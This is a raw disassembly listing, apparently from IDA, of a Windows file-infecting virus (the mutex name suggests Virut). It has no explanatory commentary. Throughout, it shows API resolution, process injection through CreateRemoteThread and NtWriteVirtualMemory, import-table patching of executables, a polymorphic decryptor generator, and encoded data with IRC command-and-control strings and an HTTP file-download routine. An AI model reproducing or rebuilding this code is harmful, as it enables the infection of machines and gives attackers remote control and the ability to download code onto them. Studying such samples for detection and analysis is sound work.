loc_41F9AB:				; CODE XREF: sub_41F78E+209j
		cmp	dword ptr ss:loc_4035F8[ebp], 0
		jz	loc_41F7BB
		mov	eax, dword ptr ss:loc_4035D4[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+403395h]
		mov	eax, dword ptr ss:loc_4035E8[ebp]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E2h]
		mov	eax, [ebp+4035D8h]
		push	dword ptr [eax+1]
		pop	dword ptr [ebp+4033E9h]
		mov	ecx, dword ptr ss:loc_4035DC[ebp]
		jecxz	short loc_41F9F6
		push	dword ptr [ecx+1]
		pop	dword ptr [ebp+4033F6h]


loc_41F9F6:				; CODE XREF: sub_41F78E+25Dj
		call	loc_41F7ED
		lea	edi, [ebp+40364Eh]
		mov	ecx, edi
		push	0
		neg	cl
		push	dword ptr [eax+4]
		and	ecx, 3
		push	40h
		add	edi, ecx
		push	edi
		push	0
		push	18h
		lea	esi, [ebp+40159Fh]
		mov	ecx, 1Ch
		mov	edx, esp
		lea	eax, ds:0FFFFFFFEh[ecx*2]
		stosw
		lea	eax, ds:0[ecx*2]
		stosw
		lea	eax, [edi+4]
		stosd
		xor	ah, ah


loc_41FA3B:				; CODE XREF: sub_41F78E+2B0j
		lodsb
		stosw
		loop	loc_41FA3B
		push	0
		push	69CEh
		mov	ecx, esp
		push	0
		mov	eax, esp
		push	0
		push	8000000h
		push	40h
		push	ecx
		push	edx
		push	0Eh
		push	eax
		call	dword ptr [ebp+4035E0h]
		pop	eax
		add	esp, 40h
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	0
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	0FFFFFFFFh
		push	eax
		call	dword ptr ss:loc_4035E4[ebp]
		pop	edi
		pop	ecx
		test	edi, edi
		jz	loc_41F7BB
		lea	esi, dword_401000[ebp]
		mov	ecx, 0A74h
		mov	ebp, edi
		rep movsd
		sub	ebp, offset dword_401000
		lea	eax, [ebp+40144Ch]
		jmp	eax
; END OF FUNCTION CHUNK	FOR sub_41F78E
; ---------------------------------------------------------------------------
		db 8Dh,	95h, 0E0h
		db  18h
		db 40h,	0, 52h
		db 0FFh
		db 95h,	9Ch, 35h
		db  40h	; @
		align 2
		dw 16E8h
		db    0
		db 2 dup(0), 4Ch
aOokupprivilege	db 'ookupPrivilegeValueA',0
		db 50h,	0FFh, 95h
		dd offset loc_403546+2
		dd 354C8589h, 54500040h, 0FF6A206Ah, 35EC95FFh,	0C0850040h
		dd 963F755Fh, 5656026Ah, 16AD48Bh, 11E852h, 65530000h
		dd 75626544h, 69725067h, 656C6976h, 56006567h, 354C95FFh
		dd 0C48B0040h, 50565656h, 95FF5756h, 4035D0h, 5710C483h
		dd 353C95FFh, 6A0040h, 95FF026Ah, 403570h, 128B9h, 0E12B9700h
		dd 54240C89h, 0AC95FF57h, 33004035h, 3CA583F6h,	4036h
		dd 95FF5754h, 4035B0h, 5C74C085h, 4FE8346h, 74FFEE72h
		dd 6A0824h, 95FF2A6Ah, 4035A8h,	0DC74C085h, 43DE893h, 0C9330000h
		dd 3930E391h, 40363C85h, 81287500h, 0DAEC1h, 50545000h
		dd 50505156h, 6895FF53h, 85004035h, 0F7459C0h, 82474FFh
		dd 363C858Fh, 0ACE80040h, 53FFFFFDh, 353C95FFh,	98EB0040h
		dd 128C481h, 0FF570000h, 40353C95h, 0FBE5E900h,	498DFFFFh
		dd 58585800h, 29CE00h, 0D6500h,	3 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_41FBF1	proc near		; CODE XREF: sub_41F78E+100p
					; sub_41F78E+218p ...
		push	ecx
		push	esi
		push	ebx
		call	dword ptr [ebp+403548h]
		stosd
		pop	ecx


loc_41FBFC:				; CODE XREF: sub_41FBF1+Ej
		lodsb
		test	al, al
		jnz	short loc_41FBFC
		loop	sub_41FBF1
		retn
sub_41FBF1	endp

; ---------------------------------------------------------------------------
aBasenamedobjec	db '\BaseNamedObjects\W32_Virtu',0
aLstrlen	db 'lstrlen',0
aCreatefilea_0	db 'CreateFileA',0
aCreatefilema_1	db 'CreateFileMappingA',0
aCreateproces_0	db 'CreateProcessA',0
aCreateremote_0	db 'CreateRemoteThread',0
aCreatethread_0	db 'CreateThread',0
aCreatetoolhe_0	db 'CreateToolhelp32Snapshot',0
aExitthread_0	db 'ExitThread',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
aGetfileattribu	db 'GetFileAttributesA',0
aGetfilesize_0	db 'GetFileSize',0
aGetfiletime	db 'GetFileTime',0
aGetmodulehan_1	db 'GetModuleHandleA',0
aGettempfilenam	db 'GetTempFileNameA',0
aGettemppatha	db 'GetTempPathA',0
aGetversion	db 'GetVersion',0
aGetversionex_1	db 'GetVersionExA',0
aLoadlibrarya_0	db 'LoadLibraryA',0
aMapviewoffil_1	db 'MapViewOfFile',0
aOpenfilemappin	db 'OpenFileMappingA',0
aOpenprocess_0	db 'OpenProcess',0
aProcess32fir_0	db 'Process32First',0
aProcess32nex_0	db 'Process32Next',0
aSetfileattribu	db 'SetFileAttributesA',0
aSetfiletime	db 'SetFileTime',0
aSleep		db 'Sleep',0
aSystemtimetofi	db 'SystemTimeToFileTime',0
aUnmapviewoff_0	db 'UnmapViewOfFile',0
aVirtualalloc_1	db 'VirtualAlloc',0
aWritefile	db 'WriteFile',0
aNtadjustprivil	db 'NtAdjustPrivilegesToken',0
aNtcreatefile	db 'NtCreateFile',0
aNtcreateproces	db 'NtCreateProcess',0
aNtcreateproc_0	db 'NtCreateProcessEx',0
aNtcreatesectio	db 'NtCreateSection',0
aNtmapviewofsec	db 'NtMapViewOfSection',0
aNtopenfile	db 'NtOpenFile',0
aNtopenprocesst	db 'NtOpenProcessToken',0
aNtprotectvirtu	db 'NtProtectVirtualMemory',0
aNtwritevirtual	db 'NtWriteVirtualMemory',0
aRtlunicodestri	db 'RtlUnicodeStringToAnsiString',0
aWsastartup	db 'WSAStartup',0
aClosesocket	db 'closesocket',0
aConnect	db 'connect',0
aGethostbyname	db 'gethostbyname',0
aRecv		db 'recv',0
aSend		db 'send',0
aSocket		db 'socket',0
aInternetcloseh	db 'InternetCloseHandle',0
aInternetgetcon	db 'InternetGetConnectedState',0
aInternetopena	db 'InternetOpenA',0
aInternetopenur	db 'InternetOpenUrlA',0
aInternetreadfi	db 'InternetReadFile',0
aAdvapi32_dll	db 'ADVAPI32.DLL',0
aRegclosekey_0	db 'RegCloseKey',0
aRegopenkeyexa	db 'RegOpenKeyExA',0
aRegqueryvaluee	db 'RegQueryValueExA',0
aRegsetvalueexa	db 'RegSetValueExA',0

; =============== S U B	R O U T	I N E =======================================



sub_41FF8C	proc near		; CODE XREF: sub_41FFC3+70p
					; sub_41FFC3+81p ...

var_5		= byte ptr -5

		sub	ecx, 5
		sub	ecx, eax
		push	ecx
		push	0E8000000h
		lea	ecx, [esp+8+var_5]
		push	0
		push	5
		push	ecx
		push	eax
		push	ebx
		push	5
		mov	ecx, esp
		push	eax
		mov	edx, esp
		push	eax
		push	esp
		push	40h
		push	ecx
		push	edx
		push	ebx
		call	dword ptr [ebp+4035F0h]
		add	esp, 0Ch
		call	dword ptr [ebp+4035F4h]
		add	esp, 8
		retn
sub_41FF8C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FFC3	proc near		; CODE XREF: .data:00421A85p
		push	edi
		lea	eax, loc_4015B1[ebp]
		xor	edi, edi
		push	eax
		push	0
		push	0Eh
		call	dword ptr [ebp+4035A4h]
		test	eax, eax
		jz	loc_42006F
		push	eax
		push	69CEh
		mov	edx, esp
		push	0
		mov	ecx, esp
		push	40h
		push	100000h
		push	2
		push	edx
		push	0
		push	69CEh
		push	0
		push	ecx
		push	ebx
		push	eax
		call	dword ptr ss:loc_4035E4[ebp]
		pop	edi
		pop	ecx
		call	dword ptr [ebp+40353Ch]
		test	edi, edi
		jz	short loc_42006F
		mov	ecx, [ebp+401588h]
		jecxz	short loc_420027
		lea	edx, dword_401000[ebp]
		add	edx, ecx
		push	edi
		push	ebx
		call	edx


loc_420027:				; CODE XREF: sub_41FFC3+56j
		mov	eax, dword ptr ss:loc_4035D4[ebp]
		lea	ecx, [edi+2394h]
		call	sub_41FF8C
		mov	eax, dword ptr ss:loc_4035E8[ebp]
		lea	ecx, [edi+23E1h]
		call	sub_41FF8C
		mov	eax, [ebp+4035D8h]
		lea	ecx, [edi+23E8h]
		call	sub_41FF8C


loc_42005A:				; DATA XREF: .data:00421CBCo
		mov	eax, dword ptr ss:loc_4035DC[ebp]
		test	eax, eax
		jz	short loc_42006F
		lea	ecx, [edi+23F5h]
		call	sub_41FF8C


loc_42006F:				; CODE XREF: sub_41FFC3+16j
					; sub_41FFC3+4Ej ...
		mov	eax, edi
		pop	edi
		retn
sub_41FFC3	endp

; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 401A14h
		xor	ecx, ecx
		lea	eax, loc_401DAE[ebp]
		push	ecx
		push	esp
		push	ecx
		push	ecx
		push	eax
		push	ecx
		push	ecx
		call	dword ptr [ebp+40356Ch]
		xchg	eax, [esp]
		call	dword ptr [ebp+40353Ch]
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		dw 0E855h
		align 8
		dd 43ED815Dh, 6A00401Ah, 0E958DFFh, 5000401Ah, 2420CD52h
		dd 83002A00h, 0C7660CC4h, 401A5485h, 0C720CD00h, 401A5685h
		dd 2A002400h, 6AC35D00h, 0FF016A01h, 473FF33h, 0C08515FFh
		dd 0B68F074h, 8B000000h, 50035BD0h, 72B58D3Ch, 8B00401Ah
		dd 10CBAh, 88A8B00h, 3000001h, 60CB2BF8h, 0A6F3CB8Bh, 47057461h
		dd 0C2EBF5E2h, 570FC783h, 8B53D48Bh, 6A5450CCh,	6A525140h
		dd 0F095FFFFh, 83004035h, 958B0CC4h, 403574h, 0EA83D72Bh
		dd 6A07C707h, 8900E800h, 6AC30357h, 9E8581Ah, 8D000000h
		dd 0FEAA6142h, 0C3F075C9h

; =============== S U B	R O U T	I N E =======================================



sub_420154	proc near		; CODE XREF: sub_4209BF+1Bp
					; sub_420B37+3p ...
		imul	edx, [ebp+403646h], 8088405h
		inc	edx
		mov	[ebp+403646h], edx
		mul	edx
		retn
sub_420154	endp

; ---------------------------------------------------------------------------
		dd 0E855h, 815D0000h, 401B09EDh, 4A9D8B00h, 83004036h
		dd 8247Ch, 0B9840Fh, 0EC810000h, 208h, 1046854h, 95FF0000h
		dd 403590h, 848DFC8Bh, 10424h, 6A5000h,	4E8h, 54525600h
		dd 95FF5700h, 40358Ch, 978DC933h, 104h,	26A5151h, 68016A51h
		dd 40000000h, 5C95FF52h, 96004035h, 5B74F685h, 4685450h
		dd 57000001h, 2024B4FFh, 0FF000002h, 40362895h,	0C0855900h
		dd 14E31674h, 6AD48B50h, 57515200h, 0CC95FF56h,	59004035h
		dd 0D075C085h, 3C95FF56h, 8D004035h, 57524457h,	8D58446Ah
		dd 10497h, 0C033AB00h, 0F359106Ah, 505050ABh, 50505050h
		dd 6495FF52h, 81004035h, 208C4h, 2474FF00h, 1895FF08h
		dd 53004036h, 361895FFh, 0C25D0040h, 3E800004h,	4601750Ah
		dd 15848D8Bh, 19E30040h, 1000958Dh, 0D1030040h,	84D2FF56h
		dd 1F880FC0h, 0F000001h, 11084h, 3A3E8000h, 80461075h
		dd 840F003Eh, 101h, 75203E80h, 3E8146F1h, 474E4950h, 0CF8B4275h
		dd 4F0146C6h, 6A51CE2Bh, 53565100h, 361095FFh, 3B590040h
		dd 0DF850FC1h, 8D000000h, 401DA285h, 68006A00h,	0Ch, 95FF5350h
		dd 403610h, 0C3Dh, 0BF850F00h, 0E9000000h, 0B1h, 52503E81h
		dd 850F5649h, 0A5h, 0AC08C683h,	840F0D3Ch, 99h,	0F375203Ch
		dd 0F3A3CACh, 8C85h, 200DAD00h,	3D202020h, 74656721h, 3CAC7F75h
		dd 817C7520h, 6820FF7Eh, 71757474h, 70037E81h, 752F2F3Ah
		dd 0FF47C668h, 0BA310F00h, 2710h, 0FF52E2F7h, 4035BC95h
		dd 50C03300h, 0E8505050h, 9, 6E776F44h,	64616F6Ch, 2095FF00h
		dd 85004036h, 333674C0h, 4A8589C9h, 51004036h, 20068h
		dd 56515180h, 2495FF50h, 8D004036h, 401B0395h, 0C9335000h
		dd 52505154h, 95FF5151h, 40356Ch, 0FF240487h, 40353C95h
		dd 80C3F800h, 4015778Dh, 0C3F90100h, 54464F53h,	45524157h
		dd 63694D5Ch, 6F736F72h, 575C7466h, 6F646E69h, 435C7377h
		dd 65727275h, 6556746Eh, 6F697372h, 78455C6Eh, 726F6C70h
		dd 54007265h, 65677261h, 736F4874h, 20074h, 413AF0FFh
		dd 72705AEAh, 6D69786Fh, 6372692Eh, 616C6167h, 702E7978h
		dd 494E006Ch, 78204B43h, 7565626Ah, 0A756766h, 52455355h
		dd 32307120h, 31303530h, 2E202E20h, 4A2D3A20h, 204E494Fh
		dd 72697626h, 550A7574h, 0E8h, 0ED815D00h, 401DB4h, 157785C6h
		dd 0FF000040h, 40359495h, 1FE8C100h, 1E6A3C74h,	3550B58Bh
		dd 0AC590040h, 2A752E3Ch, 0FF3E8166h, 8D23751Dh, 403640BDh
		dd 2768B00h, 0A566A557h, 336A858Dh, 858F0040h, 403390h
		dd 0FA4689FAh, 0FBFE4E8Ch, 0CFE201B1h, 858D43EBh, 4015B1h
		dd 6A006A50h, 0A495FF0Eh, 83004035h, 408247Ch, 4E82B75h
		dd 53000000h, 0FF004346h, 40358895h, 0FC48E800h, 7E8FFFFh
		dd 53000000h, 4F5F4346h, 95FF0053h, 403588h, 0FFFC31E8h
		dd 0F356E8FFh, 8DFFFFFFh, 401303h, 0BE8h, 45535500h, 2E323352h
		dd 4C4C44h, 359C95FFh, 0AE80040h, 77000000h, 69727073h
		dd 4166746Eh, 95FF5000h, 403548h, 35548589h, 310F0040h
		dd 18E08D8Dh, 85890040h, 403646h, 9C95FF51h, 93004035h
		dd 468h, 0EDB58D00h, 59004018h,	362CBD8Dh, 0D6E80040h
		dd 66FFFFF6h, 1D6785C7h, 0F0FF0040h, 1D69A583h,	8D000040h
		dd 401D2795h, 6A545000h, 52006A01h, 268h, 3095FF80h, 85004036h
		dd 22755AC0h, 1D5A8D8Dh, 6A520040h, 67B58D06h, 5400401Dh
		dd 51505056h, 3495FF52h, 58004036h, 362C95FFh, 85C60040h
		dd 40384Dh, 0CE800h, 53570000h,	334B434Fh, 4C442E32h, 95FF004Ch
		dd 40359Ch, 76893h, 0B58D0000h,	401844h, 0FCBD8D59h, 0E8004035h
		dd 0FFFFF651h, 0CE8h, 4E495700h, 54454E49h, 4C4C442Eh
		dd 9C95FF00h, 85004035h, 0E7840FC0h, 93000001h,	568h, 82B58D00h
		dd 59004018h, 3618BD8Dh, 1AE80040h, 83FFFFF6h, 40361CBDh
		dd 840F0000h, 1C2h, 190EC81h, 68540000h, 101h, 35FC95FFh
		dd 0C4810040h, 190h, 6AD48B50h,	95FF5200h, 40361Ch, 7559C085h
		dd 1388680Dh, 95FF0000h, 4035BCh, 0BD83E2EBh, 401D69h
		dd 8D297500h, 401D6D85h, 95FF5000h, 403608h, 840FC085h
		dd 13Bh, 8B0C408Bh, 8F30FF00h, 401D6985h, 4D85C600h, 1004038h
		dd 16A006Ah, 95FF026Ah,	403614h, 0FFFF883h, 11284h, 958D9300h
		dd 401D65h, 5352106Ah, 360495FFh, 0C0850040h, 0F2850Fh
		dd 0BD8D0000h, 401D86h,	0BCE808B1h, 68FFFFFAh, 94h, 89E62B5Eh
		dd 0FF542434h, 40359895h, 94BD8D00h, 0B100401Dh, 0FA9DE801h
		dd 448BFFFFh, 0E0C11024h, 24440B08h, 8E0C104h, 824440Bh
		dd 5E850h, 2E250000h, 57007836h, 355495FFh, 0C4830040h
		dd 647C60Ch, 81958D20h,	6A00401Dh, 216800h, 53520000h
		dd 361095FFh, 7C8D0040h, 0FF571424h, 40355895h,	3804C600h
		dd 6A400Ah, 0FF535750h,	40361095h, 8DE60300h, 401DA2BDh
		dd 68006A00h, 0Ch, 95FF5357h, 403610h, 0C3Dh, 8D4D7500h
		dd 40364EB5h, 4D8D8D00h, 2B004038h, 51006ACEh, 95FF5356h
		dd 40360Ch, 7E00F883h, 0FE8B912Fh, 364EB58Dh, 0DB00040h
		dd 1075AEF2h, 0FAF8E860h, 7261FFFFh, 8D09E317h,	0EAEB0177h
		dd 0CE2BCF8Bh, 364EBD8Dh, 0A4F30040h, 0B9EBF787h, 95FF53h
		dd 80004036h, 401577BDh, 2A740100h, 753068h, 0BC95FF00h
		dd 80004035h, 40384DBDh, 11740000h, 1D6985C7h, 40h, 85C60000h
		dd 40384Dh, 0FE56E900h,	85C7FFFFh, 401580h, 80000000h
		dd 4C25Dh, 204F0A0Dh, 6E6F6F6Eh, 20666F20h, 6566696Ch
		dd 204F2021h, 656D6974h, 206F7420h, 656C6563h, 74617262h
		dd 0A0D2165h, 20202020h, 73204F20h, 656D6D75h, 61672072h
		dd 6E656472h, 520A0D21h, 6E656C65h, 73656C74h, 20796C73h
		dd 70706168h, 6E612079h, 78652064h, 74636570h, 2C746E61h
		dd 61747320h, 6E69646Eh, 2D203A67h, 61570A0Dh, 69686374h
		dd 6120676Eh, 64206C6Ch, 61207961h, 6E20646Eh, 74686769h
		dd 6F66202Ch, 72662072h, 646E6569h, 20492073h, 74696177h
		dd 570A0D3Ah, 65726568h, 65726120h, 756F7920h, 7266202Ch
		dd 646E6569h, 43203F73h, 21656D6Fh, 20744920h, 74207369h
		dd 21656D69h, 27744920h, 616C2073h, 0D216574h, 0C784040Ah
		dd 0D479ED30h, 0A614294Fh, 0B7AB410h, 37524805h, 858B9940h
		dd 0B1FAE5DBh, 0A6141327h, 0B8B35210h, 99AD47D8h, 73C17E62h
		dd 6EF96A1Ah, 0AB595760h, 0C216EF3Ah, 46319413h, 6CCC5CEFh
		dd 0C2h, 0Eh dup(0)
		dd 37523200h
; ---------------------------------------------------------------------------
		inc	eax

; =============== S U B	R O U T	I N E =======================================



sub_420909	proc near		; CODE XREF: sub_420950:loc_4209ADp
					; sub_420A10+7p ...

arg_0		= dword	ptr  4

		pusha
		and	dword ptr [ebp+4039A6h], 0
		and	dword ptr ss:loc_4039AA[ebp], 0
		movzx	eax, word ptr [ebx+14h]
		lea	edx, [ebx+18h]
		movzx	ecx, word ptr [ebx+6]
		add	edx, eax


loc_420925:				; CODE XREF: sub_420909+41j
		mov	eax, [esp+20h+arg_0]
		sub	eax, [edx+0Ch]
		jb	short loc_420947
		cmp	eax, [edx+8]
		jnb	short loc_420947
		mov	eax, [edx+14h]
		sub	eax, [edx+0Ch]
		mov	[ebp+4039A6h], edx
		mov	dword ptr ss:loc_4039AA[ebp], eax
		jmp	short loc_42094C
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_420909+23j
					; sub_420909+28j
		add	edx, 28h
		loop	loc_420925


loc_42094C:				; CODE XREF: sub_420909+3Cj
		popa
		retn	4
sub_420909	endp


; =============== S U B	R O U T	I N E =======================================



sub_420950	proc near		; CODE XREF: .data:00420C7Cp
					; .data:00420CA2p
		mov	[ebp+4022F7h], al
		call	sub_4209BF
		push	20h
		lea	eax, [ebp+402224h]
		pop	ecx


loc_420967:				; CODE XREF: sub_420950+1Ej
		cmp	[eax], ebx
		jz	short loc_420977
		add	eax, 4
		loop	loc_420967
		inc	dword ptr [ebp+40398Eh]
		retn
; ---------------------------------------------------------------------------


loc_420977:				; CODE XREF: sub_420950+19j
		neg	ecx
		add	ecx, [ebp+4022F7h]
		jecxz	short loc_420991


loc_420981:				; CODE XREF: sub_420950+39j
		push	dword ptr [eax-4]
		pop	dword ptr [eax]
		sub	eax, 4
		loop	loc_420981
		mov	[ebp+402224h], ebx


loc_420991:				; CODE XREF: sub_420950+2Fj
					; sub_4209BF+34j
		cmp	dword ptr [edx], 0
		jz	short loc_42099B
		sub	esi, [edx]
		add	esi, [edx+10h]


loc_42099B:				; CODE XREF: sub_420950+44j
		lea	ecx, [esi-4]
		pop	eax
		pop	ebx
		pop	esi
		cmp	dword ptr [edx], 0
		jz	short loc_4209AA
		push	dword ptr [edx]
		jmp	short loc_4209AD
; ---------------------------------------------------------------------------


loc_4209AA:				; CODE XREF: sub_420950+54j
		push	dword ptr [edx+10h]


loc_4209AD:				; CODE XREF: sub_420950+58j
		call	sub_420909
		sub	ecx, esi
		sub	ecx, dword ptr ss:loc_4039AA[ebp]
		pop	eax
		add	ecx, [ebx+34h]
		retn
sub_420950	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4209BF	proc near		; CODE XREF: sub_420950+6p
		pop	dword ptr ss:loc_403992[ebp]
		mov	dword ptr [ebp+40398Eh], 0
		call	sub_420A10
		mov	eax, [ebp+40398Eh]
		call	sub_420154
		call	sub_4209FC
		cmp	dword ptr [ebp+40398Eh], 0
		jnz	short loc_4209F5
		mov	[ebp+4022A0h], ebx
		jmp	short loc_420991
; ---------------------------------------------------------------------------


loc_4209F5:				; CODE XREF: sub_4209BF+2Cj
		dec	dword ptr [ebp+40398Eh]
		retn
sub_4209BF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4209FC	proc near		; CODE XREF: sub_4209BF+20p
		pop	dword ptr ss:loc_403992[ebp]
		mov	[ebp+40398Eh], edx
		call	sub_420A10
		xor	ecx, ecx
		retn
sub_4209FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420A10	proc near		; CODE XREF: sub_4209BF+10p
					; sub_4209FC+Cp ...

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	edx, [ebx+80h]
		push	edx
		call	sub_420909
		add	edx, dword ptr ss:loc_4039AA[ebp]
		add	edx, esi


loc_420A24:				; CODE XREF: sub_420A10+120j
		cmp	dword ptr [edx+0Ch], 0
		jz	locret_420B35
		cmp	dword ptr [edx+10h], 0
		jz	locret_420B35
		mov	eax, [edx+0Ch]
		push	eax
		call	sub_420909
		add	eax, dword ptr ss:loc_4039AA[ebp]
		add	eax, esi
		push	eax


loc_420A4A:				; CODE XREF: sub_420A10+47j
		mov	cl, [eax]
		cmp	cl, 0
		jz	short loc_420A6A
		cmp	cl, 2Eh
		jz	short loc_420A59


loc_420A56:				; CODE XREF: sub_420A10+58j
		inc	eax
		jmp	short loc_420A4A
; ---------------------------------------------------------------------------


loc_420A59:				; CODE XREF: sub_420A10+44j
		mov	ecx, [eax+1]
		and	ecx, 0DFDFDFDFh
		cmp	ecx, 4C4C44h
		jnz	short loc_420A56


loc_420A6A:				; CODE XREF: sub_420A10+3Fj
		pop	ecx
		sub	ecx, eax
		cmp	ecx, 0FFFFFFFAh
		jg	loc_420B2D
		cmp	word ptr [eax-2], 3233h
		jnz	loc_420B2D
		push	esi
		cmp	dword ptr [edx], 0
		jnz	short loc_420A8D
		mov	ecx, [edx+10h]
		jmp	short loc_420A8F
; ---------------------------------------------------------------------------


loc_420A8D:				; CODE XREF: sub_420A10+76j
		mov	ecx, [edx]


loc_420A8F:				; CODE XREF: sub_420A10+7Bj
		add	esi, ecx
		push	ecx
		call	sub_420909
		add	esi, dword ptr ss:loc_4039AA[ebp]


loc_420A9D:				; CODE XREF: sub_420A10+90j
					; sub_420A10+117j
		lodsd
		test	eax, eax
		js	short loc_420A9D
		jz	loc_420B2C
		push	dword ptr ss:loc_4039AA[ebp]
		push	eax
		call	sub_420909
		add	eax, dword ptr ss:loc_4039AA[ebp]
		pop	dword ptr ss:loc_4039AA[ebp]
		add	eax, [esp+4+var_4]
		push	ebx
		add	eax, 2
		xor	ebx, ebx


loc_420AC9:				; CODE XREF: sub_420A10+CEj
		movzx	ecx, byte ptr [eax]
		jecxz	short loc_420AE0
		or	cl, 20h
		push	ebx
		shl	[esp+0Ch+var_C], 4
		sub	[esp+0Ch+var_C], ebx
		sub	[esp+0Ch+var_C], ecx
		pop	ebx
		inc	eax
		jmp	short loc_420AC9
; ---------------------------------------------------------------------------


loc_420AE0:				; CODE XREF: sub_420A10+BCj
		cmp	ebx, 0DDBBD70Fh
		jz	short loc_420B26
		cmp	ebx, 0DB6E45A8h
		jz	short loc_420B26
		cmp	ebx, 0FFA13B59h
		jz	short loc_420B26
		cmp	ebx, 0ACB522D6h
		jz	short loc_420B26
		cmp	ebx, 0F358E993h
		jz	short loc_420B26
		cmp	ebx, 0F358E97Dh
		jz	short loc_420B26
		cmp	ebx, 0E1253F46h
		jz	short loc_420B26
		cmp	ebx, 0E1253F30h
		jz	short loc_420B26
		call	dword ptr ss:loc_403992[ebp]


loc_420B26:				; CODE XREF: sub_420A10+D6j
					; sub_420A10+DEj ...
		pop	ebx
		jmp	loc_420A9D
; ---------------------------------------------------------------------------


loc_420B2C:				; CODE XREF: sub_420A10+92j
		pop	esi


loc_420B2D:				; CODE XREF: sub_420A10+60j
					; sub_420A10+6Cj
		add	edx, 14h
		jmp	loc_420A24
; ---------------------------------------------------------------------------

locret_420B35:				; CODE XREF: sub_420A10+18j
					; sub_420A10+22j
		retn
sub_420A10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 1

; =============== S U B	R O U T	I N E =======================================



sub_420B37	proc near		; CODE XREF: .data:00420C75p
					; .data:00420C9Bp
		push	4
		pop	eax
		call	sub_420154
		mov	[ebp+4024D1h], dl
		mov	ax, 1831h
		add	ah, dl
		shl	ah, 3
		add	ah, dl
		stosw
		push	6
		pop	eax
		call	sub_420154
		add	edx, 8
		xchg	edx, ecx


loc_420B5F:				; CODE XREF: sub_420B37:loc_420B9Ej
		push	5
		pop	eax
		call	sub_420154
		cmp	dl, 3
		jnb	short loc_420B77
		mov	al, 50h
		add	al, [ebp+4024D1h]
		stosb
		jmp	short loc_420B9E
; ---------------------------------------------------------------------------


loc_420B77:				; CODE XREF: sub_420B37+33j
		push	68h
		pop	eax
		stosb
		cmp	dl, 3
		jnz	short loc_420B98
		mov	al, 11h
		call	sub_420154
		mov	eax, 1


loc_420B8C:				; CODE XREF: sub_420B37+5Dj
		test	dl, dl
		jz	short loc_420B9D
		shl	eax, 1
		dec	dl
		jmp	short loc_420B8C
; ---------------------------------------------------------------------------
		jmp	short loc_420B9D
; ---------------------------------------------------------------------------


loc_420B98:				; CODE XREF: sub_420B37+47j
		mov	eax, 80000000h


loc_420B9D:				; CODE XREF: sub_420B37+57j
					; sub_420B37+5Fj
		stosd


loc_420B9E:				; CODE XREF: sub_420B37+3Ej
		loop	loc_420B5F
		retn
sub_420B37	endp

; ---------------------------------------------------------------------------


loc_420BA1:				; CODE XREF: sub_4215FB+112p
		lea	edi, [ebp+40343Ch]
		test	dword ptr ss:loc_403431[ebp], 80000000h
		jz	short loc_420BB6
		mov	al, 60h
		stosb


loc_420BB6:				; CODE XREF: .data:00420BB1j
		test	dword ptr ss:loc_403431[ebp], 1000003h
		jz	loc_420CBC
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		call	near ptr 0BDCBB77Ah
		xchg	eax, esi
		cmp	[eax+0], eax
		mov	al, 0E8h
		stosb
		stosd
		test	dword ptr ss:loc_403431[ebp], 1000000h
		mov	[ebp+40399Ah], edi
		jz	short loc_420C34
		test	dword ptr ss:loc_403431[ebp], 2000000h
		mov	eax, 36FF6467h
		jnz	short loc_420BFF
		mov	eax, 2E8B6467h


loc_420BFF:				; CODE XREF: .data:00420BF8j
		stosd
		mov	ax, 0
		stosw
		jz	short loc_420C0B
		mov	al, 5Dh
		stosb


loc_420C0B:				; CODE XREF: .data:00420C06j
		test	dword ptr ss:loc_403431[ebp], 8000000h
		mov	eax, 86D8Dh
		jnz	short loc_420C32
		test	dword ptr ss:loc_403431[ebp], 4000000h
		mov	eax, 8C583h
		jz	short loc_420C32
		mov	eax, 0F8ED83h


loc_420C32:				; CODE XREF: .data:00420C1Aj
					; .data:00420C2Bj
		stosd
		dec	edi


loc_420C34:				; CODE XREF: .data:00420BE7j
		test	dword ptr ss:loc_403431[ebp], 3
		jz	short loc_420C44
		mov	al, 0E9h
		stosb
		stosd


loc_420C44:				; CODE XREF: .data:00420C3Ej
		mov	eax, [ebp+403996h]
		mov	ecx, edi
		sub	ecx, eax
		mov	[eax-4], ecx
		test	dword ptr ss:loc_403431[ebp], 3
		jz	short loc_420CBC
		mov	eax, 36FF6467h
		mov	[ebp+40399Eh], edi
		stosd
		mov	eax, 64670000h
		stosd
		mov	eax, 2689h
		stosd
		call	sub_420B37
		mov	al, 20h
		call	sub_420950
		jecxz	short loc_420CBC
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd
		mov	edx, dword ptr ss:loc_403431[ebp]
		not	edx
		test	edx, 3
		jnz	short loc_420CAF
		call	sub_420B37
		mov	al, 1Fh
		call	sub_420950
		mov	ax, 15FFh
		stosw
		xchg	eax, ecx
		stosd


loc_420CAF:				; CODE XREF: .data:00420C99j
		mov	ecx, edi
		mov	eax, [ebp+40399Eh]
		sub	ecx, eax
		mov	[eax-4], ecx


loc_420CBC:				; CODE XREF: .data:00420BC0j
					; .data:00420C5Bj ...
		test	dword ptr ss:loc_403431[ebp], 4
		jz	short loc_420CDA
		mov	eax, 0C8FEC029h
		stosd
		mov	eax, 474C008h
		stosd
		mov	eax, 67EBF875h
		stosd


loc_420CDA:				; CODE XREF: .data:00420CC6j
		test	dword ptr ss:loc_403431[ebp], 8
		jnz	short loc_420D30
		cmp	byte ptr [ebp+40342Fh],	0
		jz	short loc_420D30
		mov	eax, 0C9291829h
		or	ah, byte ptr ss:loc_40342B[ebp]
		shl	ah, 3
		or	ah, byte ptr ss:loc_40342B[ebp]
		stosd
